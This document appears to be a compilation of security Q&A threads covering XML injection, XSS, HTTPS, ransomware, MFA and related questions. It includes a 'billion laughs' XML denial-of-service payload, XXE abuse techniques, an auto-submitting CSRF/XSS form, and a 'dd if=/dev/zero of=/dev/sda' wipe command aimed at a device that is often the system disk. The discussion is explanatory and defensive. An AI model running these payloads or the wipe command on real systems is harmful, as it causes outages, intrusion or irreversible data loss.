What are some examples of injection attacks into databases that abuse common programs besides SQL? Most data validation deals with SQL injection attacks. My question is, what other types of injection types are there that use common programs, and what are good defenses against them?

XML injection is a somewhat common vulnerability (though it's becomming less so as JSON and YAML are starting to supplant XML as the language of choice for data interchange), and has historically allowed for some really nasty attacks.

The reason for this is pretty simple, XML is a pain in the arse to parse correctly (it's still pretty common to find at least buffer overrun bugs in new XML parsers), and even if you do, the grammar itself allows for some pretty crazy attacks, many of which revolve around handling of entity references (a somewhat questionable feature XML inherited from SGML).

The general concept behind an XML entity is pretty simple, it provides a way for you to associate a character, sequence of characters, or external resource with a a short reference.  HTML uses the same concept to provide escape codes for characters that it uses as part of it's own syntax (and ones not in the encoding of the document itself).

The two most well known attacks involving XML entities are 'billion laughs' attacks, and XXE.

The 'billion laughs' attack is a general type of attack that takes a very small input, and exploits parsing behavior to produce a monstrously large output.  They aren't exactly unique to XML (they work with anything that lets you define recursively expanded data structures).  In XML, this can be done by taking advantage of nested entity definitions (that is, entities can contain references to other entities, and these references get recursively expanded).  Wikipedia provides the following nice example on their page about this class of attack:

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

That 881 bytes of XML expands to just over three billion bytes when parsed (roughly 3.5 million times larger), enough to force swapping on a system with less than about 4GB of RAM.

XXE, or XML External Entity attacks, rely on the ability of XML entity definitions to refer to external resources.  When the document is parsed, those resources are retrieved, and then their contents are inserted into the document.  XML allows for any valid URI for the external entity reference, so you can do some pretty crazy things with this type of attack, including (but not limited to0;

Injecting the contents of files on the system doing the parsing that are readable by the parser into the document (using file:/// URI's).
Running Javascript code in some web browsers without loading a Javascript file (using javascript: URI's).
Remote ACE (using any number of specialty URI's, such as expect:// if the parsing is being done by a web server running PHP which has the PHP expect module installed).
Establishing temporary remote connections to arbitrary systems (using any URI that translates to a network access).
Lock up processing of the document (by using a URI that connects to an attacker controlled server which then takes a very long time to respond).

And that's just stuff I've seen done with it myself, in theory, you can do almost anything, because accessing a URI can translate to doing pretty much anything.


Cross site Scripting in HTTP Method? Lately, I've noticed that many web server configurations reflect the method of an HTTP request sent with a non implemented method in the body of the server's response.

For example, A request sent with the method GETTT will be responded with a 501 "method not implemented" response code, while the body of the response announces that the method "GETTT" is not supported.
From what I understand, this means that if the method sent to the web server is not properly validated it can be vulnerable to a reflected XSS attack.

My question is, how can an attacker take advantage of this type of situation to create a link that will cause an HTTP request to be issued with an arbitrary method containing XSS payload?
In theory, jquery $ajax requests should be able to handle this type of issue, as also stated in the following discussion - https://stackoverflow.com/questions/20425594/sending-an-http-request-with-an-unordinary-method/

I was able to send these type of requests several months ago (In Internet Explorer), but for some reason, jquery $ajax does do the trick for me anymore.

I'm sure this is a solvable issue and just a matter of finding the right payload, does anyone have any suggestions?

Simple answer:  Not exploitable

Although it maybe possible to inject script code using a malformed HTTP verb, this attack vector is missing the "cross-site"  component which makes the vulnerability useful to an attacker.   So, why would an injection like this be useless to an attacker?

Well first of all how does an attacker send a "cross-site" request?  There are a couple of variants,  but the most common is as follows.

<form id="CSRF" method="POST"  action="http://victim/search" >
<type=hidden name=search value="<script>alert(1)</script>">
</form>
<script>
document.getElementById("CSRF").submit()
</script>

The HTML above will automatically send a POST request when the victim renders the HTML.  The page http://victim/search is reflecting the search POST request on the page,  thus executing the XSS payload in the victim's browser in the context of http://victim/search regardless of where the request originated from.

It is possible to control some of the HTTP header using flash, so I wrote a flash exploit framework to leverage unusual CSRF/XSS.  Unfortunately flash currently only permit the GET and POST verbs,  PUT and DELETE where allowed at once upon a time,  but no longer.


Username in browser history (url) - is this a security problem? We have a client complaining that there is PII in the browser history (as in the persistent history you get to through your browser's menu - Ctrl + H in Chrome). For example, the URL for editing a user is something like: "https://www.mysite.com/users/USERNAME_HERE/edit". And of course that will show up in your browser history.

Is this really a security concern? What about other PII like order number (for a retail site)?

It really depends on the nature of the website.
If the site already shows the username on other places (like here on this site) then it probably isn’t PII.
If the username is show nowhere else, then it might be considered PII.

That being said, why is the username exposed in the url for an edit (apart from being the default for certain frameworks)? Especially since URLs are generally logged and saved in history, it is generally considered a bad practice to use usernames because it could give a hacker information about the usernames used in your system. Given this information and the fact that users tend to reuse passwords, the risks are getting bigger than they should be.


how to send confidential data through email? At the moment I'm doing the following:

add to zip and encrypt files
send the encrypted zip to the recipient
create a note through noteshred.com
share the link through out-of-band SMS
noteshred is also protected by a password

But it's a big hassle, and today security folks can block zip files that cannot be inspected.

Is there an easier method? What would happen if I encrypt the complete email and send it to the recipient?

When communicating vulnerabilities to clients, the report is provided through a website under our control. The URL and their username is sent through email, and send the password via SMS. It's not much of a hassle if the steps are simple and largely automated (uploading the file, creating a user, sending the password to a phone number) and the recipient does not need to be tech savvy.

Alternatively, PGP encryption can be used for people who have a public key and the fingerprint has been verified. There are very few people who prefer this, typically only other security teams (and even then, not always).

Note that when encrypting zip files, as you do, the filenames are still readable. This might inadvertently leak information.


Is encryption in HTTPS done by the browser or by the system? This may be a common sense question, but I am not able to find any documentation on this after searching on google for a long time

When browser makes a HTTPs request, does it encrypt the data then and there, and any proxy (even on the same system) will receive the data in an encrypted form? Can that data be tampered successfully via proxy (on the same system, not on network)?

If browser does the encryption/decryption, then please let me know if there is any documentation which says so. Or whether the encryption/decryption is taken care by underlying SSL protocol only at the transport level (when the request is in network).

The ‘S’ in HTTPS stands for ‘secure’ (Hypertext Transfer Protocol Secure) It is a communication protocol for secure communication that makes use of Transport Layer Security (TLS) and its predecessor, Secure Sockets Layer (SSL).

TLS/SSL is initialized at layer 5 (the session layer) then works at layer 6 (the presentation layer). Most applications, like web browsers, e-mail clients or instant messaging incorporate functionality of the OSI layers 5, 6 and 7.

When referring to HTTPS it will be an implementation of SSL/TLS in the context of the HTTP protocol. SSL/TLS will then be implemented in the browsers (and web server) to provide confidentiality and integrity for HTTPS traffic (actual encryption of the data).

Chromium and Firefox use an API called NSS to implement SSL/TLS within their respective browser.

Microsoft Windows for example has a security package called SChannel (Secure Channel) which implements SSL/TLS in order to provide authentication between clients and servers. Schannel is for example being used by Microsoft Windows clients/servers within an Active Directory environment.

As for the proxy and tampering of the data it depends of the protocol you're working with. A good example to familiarize yourself in an HTTP(S) context is to have a look at Burp Proxy.


What security factors should I take into consideration when selecting a bank? I've gotten fed up with my bank and have made the decision to move all of my banking elsewhere. This is a rare occurrence for me and, I suspect, for other people as well. It represents an opportunity to optimize and carefully select the best bank instead of just picking the one around the corner like I did the first time round.

One factor which I put a high weight on is the security of my bank, but I'm not a security expert. I have my own views on which factors are important, but I suspect that some (or all) of them are wrong.

Thus: What security factors are important when selecting a bank?

To get things started, my guess is that I should look for include:

Multifactor authentication
Authentication which does not enforce low maximum levels of security (e.g. you must use your mother's maiden name for identification over the phone).
Quick (preferably instantaneous) changes when I chose to update my authentication data (i.e. no 3-business day delays for password changes).

though there are more I can think of...

If you want a secure account look at yourself not the bank. Banks rely on insurance to secure deposits, their security is there to keep the premiums low and the insurance will take care of anything that gets past.

However if someone gets into your account via identity theft then the insurance will not cover the stolen funds. Therefore if you want a secure account you should detach it from yourself as much as possible.

You can use a few techniques to separate yourself from this account:

Don't carry a cash card for the account (and definately not a contactless one) - It's much more likely your card will be skimmed than your bank will be broken into by a l33t hacker
Opt out of paper statements - Can't forget to shred what you don't have
Route pay slips and bills to another account and pass through funds with direct debit - This way the accounts that hold most of your funds will not appear on other systems or on related paper work.


What is a Payload Handler? I'm new to the metasploit and in a book it was said that when a reverse shell is used by an attacker, a handler is initiated. I've searched the about it but doesn't  found any satisfactory information about the 'Handler'. What is it?

I thought that this would be easier to look up, but everything I found was oddly worded.
The reason why there is not a good description is because the handler does what it is told to do. So, quite literally, it just "responds". But there are some common use cases that should make it easier to understand.
The handler is a process on the attacking machine (metasploit) that listens for and responds to connections made from the target. So, when you launch a reverse shell, it's the handler that is listening to the port you set up and then responds to the reverse shell.
The handler knows what the incoming connection needs. For instance, if it is a staged shell, that it requires the next stage.
And it can provide an interface for you to interact with the remote shell.
It can do more than this, depending on the payload, but this should give you the best idea.


Why Do we Need CAPTCHA? In what case we should use it? In what case we should implement Captcha based security?. How accurate it is and if there exists any alternatives for Captcha based Security.

I am not going into basics of CAPTCHAs based security as you can read it from Wikipedia. But what interesting is how accurate they are and what are the evaluating parameters for them. To my knowledge CAPTCHAs has been broken in research with image processing techniques but still requires practical implementation and its just a matter of time i.e. you can read a recent Decaptcha techique  . There are two ways to evaluate CAPTCHAs

Coverage : Number of captchas a user attempts
Precision: Number of captchas answered correctly

A very nice must read paper for understanding use of Captcha based security.


How to prevent an user from tampering a request using Burp Our rails application has a feature where admin can from trigger sending verify email to users that haven't been verified yet but not to verified ones.

However, it was pointed out that by intercepting this PUT request and modifying the id to another one it was possible to send verify email even to the already verified users thereby confusing them.

How do I make sure that I can find out that the request was tampered with.

I can keep track of the users sent invites to and how many times but it still doesn't solve the problem that anyone can trigger an email to anyone if the know or guess their user id which again is visible from in the user details page in the format users/17.

I'm not sure how do I solve this problem.

You can't really stop a user from manipulating incoming requests. If you somehow manage to stop burp from working, an attacker can use CURL, or manipulate the request via the browser.

You could make it more complex to manipulate requests by obfuscating them, but that doesn't add any real value.

You could also use some sort of signing mechanism where a signature of the user ID must always be sent alongside the ID. But that would just move the problem to another location (when the ID and signature are requested, you still need to decide for which users to give it out).

The proper solution here is server-side validation. When receiving a request for a verification email, check if the user with the given ID has already received one and that the user who issued the request has the permission to request verification mails for the given ID.


Is it bad to put a certificate as CA in Firefox? I know I can add a self-signed certificate from a website to Firefox, but only in the CA list of it.

Question: does this mean I have to ultimately trust that self-signed certificate? Can someone sign with that self-signed certificate ex.: google.com, and since the cert is in my CA list, I wouldn't notice when visiting google.com via HTTPS that there is a MITM ongoing?

Yes you need to trust on that self-signed certificate Certificate because you have added it in your browser. But to create a new certificate signed by this CA you must have private key of the CA. So no body else can create certificate signed by your CA.


How are logs stored with ISP? When dynamic IP addresses are assigned to users, how do ISPs store the logs? Do they just store the time and address of the websites visited or do they store the whole URL like we see in our browsers?

I've tried searching for this information but all that I get is "yes they store logs of everything you do".

But I want to know in what manner these logs are stored: only IP of the websites or can they just click on the link and see the whole page like we do from our browsing history?

It think your question was not about the internal hierarchical routing and IP prefixes, than much more about the techniques itself - right? Well, some savage once thought that the IP addresses don't tell you everything (true) so he came up with the idea of logging the DNS questions and answers - passive DNS. This way the ISP has the mapping between the names you type combined with the IP addresses so that DNS requests provide a much better overview - but they do not the know the full URL, which is on the HTTP level. However they have the port numbers and protocols being used. So now they filter services. When you visit a specific website, it contains specific plugins, ads, trackers, etc which all reveal DNS requests. Any ISP who wants to grow does this mainly for accounting hush..dig...profile...hush. The DNS method does not show the full URL but it has no overhead data in the packets and it's amazingly efficient to build up a digital fingerprint.

I mentioned the HTTP level - the same data can be gained if your ISP is monitoring your HTTPS traffic. They will see www.stackexchange.com but the rest is not visible because the (clean, no MITM, operating on a smaller scale) certificate is registered to domain.com. However your ISP could MitM your connection to utterly and completely defeat the encryption, and you would never know. HTTP is plain text, unlimited raw information - which gives ALL POWER to your ISP or someone who is monitoring your traffic. This is a lot of data, but you can assume your ISP has a tool which does a deep packet inspection on the Socket API level - so they don't have to store the full packets.

In theory if you want to obfuscate such monitoring you would connect to a rooted server or a strong VPN (L2TP/IPsec, no logs) then use Tor (Tails) and all encrypted services - this way all your ISP would see is undecipherable gibberish, well they would see an enstablished connection to the VPN (which would then see you are connecting to tor). And they would not care - unless its consistent extreme saturation of your line, especially if it impacts other users.

The answer to the question: No, they cannot click on your URL - they have to copy paste it. They certainly don't bother.


PCI Logging Data Elements for Network Devices, Databases and Wireless Networking What is the best way to figure out what exactly needs to be logged for Network Devices, Databases and Wireless Networking Devices? I'm not an expert in this area but I need to figure out what data elements needs to be logged. Ideally, everything should be logged for meaningful security correlation but that's not possible at the moment as it becomes a Data Management issue. So I need to limit logs to what is required by PCI.

Example: How McAfee provides Windows server logging guidance.

The absolute minimum you should log is successful and unsuccessful authentication attempts, along with configuration changes (including account changes such as new account, changes of passwords, changes of privileges etc.) and then state changes (device downtime, reboots, etc.), and also software changes including updates and patches being applied.

Then all activity by authenticated accounts that have either administrator access, or otherwise privileges allowing for any security related configurations.

Remember however that the logs need to be protected from tampering where possible (best practice is to have a centralised logging system that requires collusion to have privileged access if possible).

At the end of the day your QSA will determine whether you are logging enough information to provide support for both active alerting on suspicious behaviour, non-repudiation, security process improvement and possible forensics or damage limitation, but this would seem a sensible minimum.


Do I need OAuth to pass an API key of a service (now it is passed via copy-paste)? I have a web application, say http://web.app/. It is local for every given user and accessible without authorisation. It uses an API of a service https://service.app/. The user can log in to it and see his API key. The user just copy-pastes it from the service to the app and there is an intention to make it a little easier.

The first idea is to use OAuth, but it is slightly overcomplicated. I just need to pass a key and I don't need to be sure it is correct. If a user passes a wrong key the services just will not work.

The second idea is to pass it via post request. Web.app has alink to https://service.app/getapikey/ with a button 'Pass the key', it makes post request to http://web.app/saveapikey/, so web-app gets the key.

Is it a good practice not to use OAuth for such a purpose? Is there something better?

You need to consider several factors here. I hope your API key do have an expiration time ? Even if it do so, it is vulnerable to a replay attack if an adversary get hold into your HTTPS request. As a remedy, you can introduce a Time stamp or counter to your request.

Counter Replay attacks

A timestamp can be added to the message and encrypted along with the rest of the message content. The service can
retrieve the timestamp after decrypting the message and fail the request if the timestamp is too old for the threshold
that is already agreed on. This cuts down on the window of opportunity to replay a request. Downside to this approach is both server and client need be be in sync with time.

An alternative to a timestamp is a counter . With
a counter, you don’t need to be concerned about the skew between the clocks. However, clients must implement a
counter to ensure the count sent in a request is greater than the count in the previous request at least by one, and the
server must keep a record of the last received counter. Of course, the message has to be signed so that a malicious user
does not increment the counter and replay the rest of the request.

Hash-Based Message Authentication Code to Counter MITM Attack

The primary mechanism
to ensure data integrity of messages is a Hash-Based Message Authentication Code (HMAC). HMAC is just a piece
of data created through a cryptographic hashing algorithm and a shared secret key. However, if the message needs to be encrypted for confidentiality, you can easily add that functionality
using the same private key we use for HMAC or you can introduce a new key specifically for encryption.
When a user sends a request, you need to concern on following three important parameters.

The public key, which is the key associated with the user
The counter
The Timestamp

In addition to the parameters, the request includes a signature that ensures that none of the parameters are
tampered with. It is possible to create the signature based not only on the three parameters but also on the entire body
of the request if the objective is to make sure nothing in the request gets modified.
To make sure no one tampers with the parameters, we can include an HMAC-SHA256 of all three values plus the
request URI and HTTP method.

You can introduce following 4 attributes to your header.

X-KEY

This is your API Key

X-Signature

If the value sent by the client application in the X-Signature matches the HMAC-SHA256 of the
values of X-KEY, X-Counter, X-Stamp, request URI, and the HTTP method, we can safely conclude
that nothing was altered in transit.

X-Stamp

The value sent by the client and the UNIX time of the current time are compared. If the
skew between these two are within the allowable tolerance limit, the request is not a replay.
UNIX time is the number of seconds elapsed since midnight of January 1, 1970 Coordinated
Universal Time (UTC).

X-Counter

If the value sent by the client is greater than the last received counter in the record kept by
the server, the request is not a replay. Although I use both the timestamp and counter in the
implementation example in this chapter, one typically is good enough, depending on your
needs. If clock times are reasonably in sync, a timestamp is the best approach because there is no
overhead in terms of storing the counter in the web API side or incrementing it in the client side.

conclusion

It is better to use already battle tested framework such as OAuth to cater your need. But if you think it is too complex, you need to consider the things that are being explained in this answer.


Is this a secure way to generate passwords at the command line? Occasionally I need to generate a password while working at the Unix command line. I have the following alias in my zshrc:

alias randpass='openssl rand -base64 32 | tr -d /=+ | cut -c -30'

These commands generate a string of 30 alphanumeric characters by doing the following things:

Use OpenSSL to generate 32 bytes of random data.
Base64-encode the result.
Remove all characters except for uppercase letters, lowercase letters, and digits.
Truncate the result to 30 characters.

The only flaw I can see is that there may be fewer than 30 characters left after removing instances of /, =, and +. Of course, that would require these three symbols to make up over a third of the base64-encoded characters, which is phenomenally unlikely.

Is the output of “openssl rand” sufficiently random to use as the basis of passwords? Is there any kind of bias introduced by base64-encoding the random bytes? (I assume that removing /, =, and + introduces a bias but that this is pretty minimal.)

You could increase the number of bytes to 45. Then you are guaranteed not to get the value truncated to lower than 30 bytes because then at least a half (30 characters) would need to be /, = or + to render a string shorter than 30 characters.

Yes its sufficiently random.

No bias is introduced by Base64-encoding the characters, since you just convert them to a Another base format. Its still the exact same number.
The only small bias introduced is removing the /, and +, which would correspond to removing every occurrence of 111110 and 111111 in the string, you would basically only lose 2 bits of entropy over a string that is 180 bits long, it would reduce the random to 178 bits, which is still much better than a SHA1 string (that many passwords is stored as), MD5 or AES 128 key.

The character = is only padding and does not have any meaningful value in a base64 string.


Looking for a taxonomy of anonymization or re-identification properties We are working with personally identifiable information that needs to be de-identified. Is there an existing hierarchy or taxonomy of different kinds of re-identification properties?

I don't know of formal work. Generally information is re-correlated from components by two heuristic activities: aggregation and inference. Aggregation is the collection of small components of a larger piece of information with the goal of collecting all the pieces. Inference is the collection of information fragments or related information with the goal of deducing or inducing the target information. Aggregation is frustrated by minimal size fragmentation and high dispersion. Inference is frustrated by noise, set mixing, and self-referential data.


Pentesting : what should one do if nothing is returned from Vulnerability Assessment A typicall pentesting activity has the following step :
   1 - information gathering + enumeration
   2 - vulnerability assessment (vulnerability scanning)
   3 - exploitation
   4 - post exploitation (persistence, clearing tracks, etc...)
   5 - report writing

Step 1 to 4 can be a cycle after getting a foothold.
But what do you do if you don't get that foothold. That is, on the  iteration, Step 2 (Vulnerability scanning) does not return any vulnerable service nor configuration. If social engineering is not part of the deal, does it mean it's pretty much game over ?

I think your list of steps is flawed.
It looks more like this (source):

Planning & Preparation
Reconnaissance
Discovery
Analyzing information and risks
Active intrusion attempts
Final analysis
Report preparation

Performing a scan on an application is not a penetration test. It is just that, a vulnerability scan.
It's very unlikely that you don't see any vulnerabilities. Usually you make a pentest for a reason.
There are endless potential attack vectors that a scanner cannot detect. The first thing that comes to my mind are business logic flaws. Also scanners (without complicated manual setup) are not very good at detecting authentication flaws like IDOR. Something a good human pentester will find after the first few minutes of their assessment.
A simple example is the integration of payment providers. I've often seen flaws in the implementation where you could just re-send a specific request in the payment-process, to order the same item over and over again without paying for it. Or you could modify the payment amount. I've even seen webshops where you could recharge gift cards by manually setting the item price to a negative amount. How should a scanner test for that, when it involves third-party components?
Nothing can replace a human pentester.
So the concrete answer to your question is: you analyze all requests and business logic manually, if you couldn't find anything during your automated vulnerability assessment.


What is the safest method to send authentication data to API? I use Vue.js on frontend and GoLang on backend. With Vue I'm sending AJAX request with credentials for sign in/sign up. Should I use HTTP Basic Auth, or just send them in request body? In case you are wondering, I'm using HTTPS. After the initial request, I'm sending back a session cookie, which I will use for successive requests.

Don't use Basic authentication, it's an old authentication scheme that provides no benefit over cookie or token based session management. When using basic authentication credentials serve as a session identifier, therefore needs to be sent in every request. This has two big downsides:

Credentials are stored in the browser's cache in plaintext which may be abused in some scenarios
Session can not be terminated as it's attached to user credentials and credentials have no concept of expiracy as JWT, cookies or other kind of tokens have (Note: When saying expiracy I'm not referring to password expiracy as in "Need to change password every 3 months" but credentials as an authentication scheme)

Even if you attempt to use basic authentication to then send a session cookie browsers will keep sending the credentials in the authorization header.

If you're using AJAX requests my advice would be to stick with cookie based authentication or migrate to JWT. Note that if the API is being called from a different hostname (f.e. www.example.com calls an api in api.example.com), the corresponding CORS headers to allow credentials should be properly set


Is this a simple protection against EFAIL? The way I understand EFAIL, the attack works because email clients can be coerced into concatenating the decrypted message into text supplied by the attacker to result in an URL.

But wouldn't it be a counter-measure to use a suitable preamble with each secret message sent, such as

nice try " '
Secret meeting
Tomorrow 9pm

? The way I understand the attack(s), this would result in something like

<img src="http://efail.de/nice%20try%" ' Secret meeting Tomorrow 9pm">

i.e., an img tag that is probably not even valid and exfiltrates only the initial "nice try" to the attacker.

That may work on some naive EFAIL attacks, but

the last page of the EFAIL whitepaper lists a number of known variants of EFAIL; most - but not all - rely on malicious HTML tags and quote characters. (Note in particular the last one that does it through the email headers.)
My understanding is that due to how AES_CBC works, the attacker gets to choose where in the email to insert the malicious <img> tag, so once they figure out your trick, they would insert it after the nice try " '.

Generally speaking, attacks like this are best thwarted by addressing the root cause rather than applying band-aid fixes in a never-ending game a whack-a-mole.

In the case of EFAIL, the root cause is email clients that render HTML content and follow external links even on untrusted content. The proper solution is for email client vendors to be more careful about using authenticated encryption (AES_GCM) and digital signatures.

The current behaviour of most email clients when a signature validation fails is to render the email, but put a warning banner at the top. I wonder if we will see that change as a result of EFAIL?


InfoSec consultancy - infrastructure vs development I work for a company that has done in house application development (for our internal systems) since its inception decades ago. Recently, however, the rise of APIs and real-time data transfer has finally come to the attention of the higher-ups. Previously all data exchange has been through FTP file transfers and moving to use newly created APIs that could open up a hole in our defenses has prompted the need for an InfoSec consultation.

We have got in contact with a few firms but the requirements set down by us don't seem to be met by any and it reached the point where I needed to reach out and ask you whether this list of requirements is commonplace or very uncommon and whether we should consider amending our requirements.

Here's a rough summary of what we have asked of our InfoSec consultation:

Provide guidance on best practices for infrastructure, such as server/firewall config, logging, intrusion detection, etc.
Secure coding best practices

The second item on the list is what all the companies we have contacted have failed to meet.

Is secure coding something that is common for people to consult on as they would provide infrastructure security consultations or is this something that is more often than not left up to us developers to gain particular credentials in?

I'm finding very little information around this issue and the one firm I have found that looks like they fit the bill is based in Iceland! (I'm in the UK by the way.)

"Secure coding best practices" is not a typical thing to get a consult on and is a little like asking "how not to get sick". It's a pretty broad mandate. It is so context-dependent that I'm not sure how a consultancy could satisfy the mandate as specified.

One typically gets trained in a specific language's secure coding best practices and in a specific use-case (API development). And once you niche down the problem-space, the answers tend to reveal themselves.


How do I securely dispose of a removable USB storage device from within an office? How can I safely and securely dispose of a USB device at my workplace using only basic tools and objects commonly found in an office? I am unable to remove the device from the premises. I cannot engage in potentially dangerous activities like lighting fires.

Will soaking it in a glass of water work?

You can wipe it software wise first: dd if=/dev/zero of=/dev/sda. Securely wiping it software wise will take time tho.
Don't put it inside a microwave. Also water will not help 100%.
Your company's house keeper will probably have what you need. If the memory chip is physically damaged beyond repair, it will be impossible to salvage data from it. Some suggest beating it with a hammer to pulverize it. Others suggest using multiple drill bits to drill into the memory chip, essentially turning it into a powder. I suggest driving a nail inside it, makes less of a mess.


Getting files back by paying Ransomware A company I support/do work for has been hit with ransomware. I've gone down all the data recovery paths etc ... and the business has decided that paying the ransom is cheaper then rebuilding and trying to recover.

My question is: has anyone gone through the process of paying a ransomware company? Once you pay, do the bad guys send you a private key and if so, how do you use it to decrypt files?

EDIT: (by request as people requested information below and figured it might help some others who find this topic)

As far as the type goes, I think it might be a variant of CryptoLocker. The application was nowhere to be found after the hit. I ran 3 different AV scans and found no signs of anything. All I had to go on was this image:

I narrowed down the attack to be that of Cryptowall 4.0 judging by the URL being used. I traced that URL to a mailing list for SNORT and saw Cryptowall 4.0 being mentioned.

Here is a forum topic with some talk that matches what I am seeing here for those interested

First, determine which variant of ransomeware you've been hit by. Depending on which one, you may have more options.

As @Ohnana has said generally ransomware operators are true to their word, it's in their interest after all. If it became known that certain groups never allowed data to be decrypted, they'd stop getting money from their victims.

That being said I'd suggest that it is important before you pay to try and establish which variant you've become a victim of. There's freely available decryption tools for several variants, and there's at least one documented variant which contains a bug which makes decryption impossible.

Once you've established which variant you have you will be able to quickly research what you can expect the decryption process to be, and if you can do it using a free tool rather than by paying the ransomware operator.


What are the most effective methods for getting security funding within an organization? A common problem when working in large organizations is securing funding for a security program. These programs compete against other business units and various business objectives for funding which creates a common scenario where the security team has to compete for funds within an organization. Given this scenario what are some of the most effective methods, formal or informal, for helping a security team compete for funding within an organization?

Note: I'm not looking for general sales ideas, tips on keeping costs low (I already get that), or fear based methods if they can be avoided. I'm looking for specific examples of what seems to actually be effective right now in the current business climate across all types of medium to large organizations and information that may be useful to help other security teams fund their own projects.

References or recommendations to books or other items are welcome if they have proven to be effective in this manner.

Additional context: This is not for a particular scenario or goal nor is there a need for a specific line item budget (people, hardware, other). I'm looking for tips which would help security teams at ALL organizations, especially underfunded ones, be able to secure funding for their respective security teams (all sizes). It's ok if the answers are scenario specific but I'm more focused on what is helping security teams get funding other than security events (getting hacked) or compliance requirements (required spending). In other words, what works on getting companies to do the right thing security-wise when in some respects they are not otherwise compelled to do so or when they may have other pressing budgeting needs.

Another way to look at this question: Most companies are focused on short-term gains and generally when looking only at short-term gains and short-term needs security can appear to be an unneeded expense that may be reducing a marketing budget (or whatever) to some organizations. I'm looking for discussion points which help nudge a company to choose to spend more money on their long-term needs even when there may be no perceived short-term economic gain from doing so.

Compliance and regulations which are show stoppers to a business operation.

Past incidents of security issues.


Did changes in Google Chrome 80 weaken cookie and password encryption? According to Arun on StackOverflow “Starting Chrome 80 version, cookies are encrypted using the AES256-GCM algorithm, and the AES encryption key is encrypted with the DPAPI encryption system, and the encrypted key is stored inside the ‘Local State’ file.”. (https://stackoverflow.com/questions/60230456/dpapi-fails-with-cryptographicexception-when-trying-to-decrypt-chrome-cookies/60611673#60611673).

Now at first glance this looks like an improvement rather than passing cookies to Windows Data Protection API (DPAPI) directly they’re encrypted with a better algorithm and only the key is protected through the API. Stronger encryption is used and Windows Data Protection API encrypts the key. Unfortunately the protection scope is changed from LocalUser to LocalMachine.

It appears that this means if a user were to copy the hard drive by plugging it into another computer they would no longer need your Windows account password to decrypt this key in the local state file with the Windows Data Protection API. In theory this would allow another user on the system to steal passwords and cookies weakening security protections that existed further.

I put together a code demo with Brave Browser demonstrating this risk (see: https://github.com/irlcatgirl/BraveCookieReaderDemo). It’s easy enough to swap paths of SQLite and Local State files for Chrome.

According to https://docs.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptprotectdata#parameters

  Typically, only a user with logon credentials that match those of the user who encrypted the data can decrypt the data. In addition, decryption usually can only be done on the computer where the data was encrypted. However, a user with a roaming profile can decrypt the data from another computer on the network.
  If the CRYPTPROTECT_LOCAL_MACHINE flag is set when the data is encrypted, any user on the computer where the encryption was done can decrypt the data.
  The function creates a session key to perform the encryption. The session key is derived again when the data is to be decrypted.

Due to a change in scope in Windows DPAPI did this change harm Chrome’s security or am I misinterpreting my findings?

Just going off what you describe: I can see no legitimate reason whatsoever for Chrome to use the Local Machine scope, and I would call that a security vulnerability.

I'm not sure how secure the local machine key is, but at minimum it can be decrypted by any user with authenticated (login) access to the machine. It might be possible even without any log in access if the key is stored in a retrievable way (to an attacker with unrestricted read access but no passwords, such as somebody who stole a hard drive that wasn't using full-volume encryption). By contrast, the user DPAPI master key is wrapped using a key derived from the user's password and through a fairly expensive key derivation function.

I'm also just not really sure why to make this change in general. Yes, AES256-GCM might be a bit more secure than DPAPI's default (AES128-CBC + HMAC-SHA2-512, I think) but for practical purposes adding more crypto implementations isn't a good idea; the security is only as good as the weakest link. DPAPI is slow to initialize due to the expensive key derivation algorithm, but once it's initialized the key gets stored in non-paged memory inside the protected Windows security subsystem; using the key is then fast (it requires a same-machine remote procedure call, and inter-process communication always has some perf cost, but the lrpc system on Windows is highly optimized and the data being passed is small). Additionally, the protections on the key are probably much better than Chrome will put on its "master" key.

I'm sure Google had their reasons, and they might even be good ones for at least part of their audience (maybe they had a problem with the way current-user keys work on domain-joined machines? maybe some people use different Windows accounts but share a Chrome profile somehow, and it needed the encrypted data to be shareable across the accounts for a setup like that?), but for the typical user this looks like a major step backwards for very little gain.


Why does not Google switch to POST method for queries? With ISPs getting license to record and sell customer's traffic data, why doesn't Google switch to POST method for search queries to provide better security to the users, while HTTPS is already used?

ISPs will either be able to record/sell queries such as DNS, which leaks no information about content other than domain name.

If ISPs record traffic then POST/GET data is equally easy to capture. If the traffic is sent over HTTPS its equally as difficult to capture. The SSL/TLS tunnel is secure end-to-end regardless of the content being transferred.

The only way ISPs could see the secure communications is by man in the middling the traffic, such as getting you to install their own ROOT CA to allow them to proxy your communications. But again then they would see all POST/GETs anyway.


Can one factor be used multiple times in multi factor authentication? Is it mandatory in MFA that the factors should be (1) something you have  + (2) something you know + (3) something you are, or it is okay to use any single of two factors multiple times (e.g. password + fingerprint + retina scan)?

It seems there are one more factor to consider as "Something you do" which includes your handwriting pattern, typing speed etc [Ref: Computer Security: Art & Science by Mat Bishop].

Note that MFA includes both 2FA and 3FA.

The widely accepted definition of multi-factor authentication (see this NIST definition) is:

  Authentication using two or more different factors to achieve authentication. Factors include: (i) something you know (e.g., password/PIN); (ii) something you have (e.g., cryptographic identification device, token); or (iii) something you are (e.g., biometric).

Emphasis on factors, not pieces of information.

Therefore, your proposed scheme would qualify as 2FA, which is a form of MFA ("two or more different factors"), but not 3FA.

True three-factor authentication involves a password/PIN + a token/smart card + a biometric characteristic.


